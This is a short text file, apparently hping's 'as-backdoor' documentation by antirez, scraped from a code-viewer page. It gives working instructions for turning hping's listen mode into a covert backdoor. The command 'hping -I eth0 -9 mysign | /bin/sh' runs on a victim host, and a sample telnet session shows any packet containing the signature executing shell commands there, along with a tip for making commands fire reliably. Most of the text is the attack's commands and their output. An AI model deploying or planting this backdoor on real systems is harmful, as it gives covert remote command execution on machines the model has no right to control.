📄 as-backdoor
字号:
hping can be used as a backdoor. Just try the -9 (--listen) optionand put in pipe with /bin/sh:Put hping in listen mode in the victim host.victim# hping -I eth0 -9 mysign | /bin/shEvery packet that contain "mysign" will be processed by hping,all the bytes that follows "mysign" in the packet will be dumpedto the standard output, so for example I'll able to exec commandsusing all types of protocols. Just for example I can use the smtpdto exec 'ls' in the victim.evil$ telnet victim 25Trying 192.168.1.1...Connected to nano (192.168.1.1).Escape character is '^]'.220 nano.marmoc.net ESMTP Sendmailmysignls;on the victim you will see:victim# hping -I eth0 -9 mysign | /bin/shhping2 listen modebin cdrom etc home local-home mnt root tmp varboot dev export lib lost+found proc sbin usr: command not foundAs you can see I used 'ls;' since otherwise the shell will receivejust ls^M. The ";" force the command execution (at least with bash and zsh,check your shell for more information).This works with all kind of valid not-filtered IP packets, the higherlevel protocl does not matter.antirez <antirez@invece.org>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -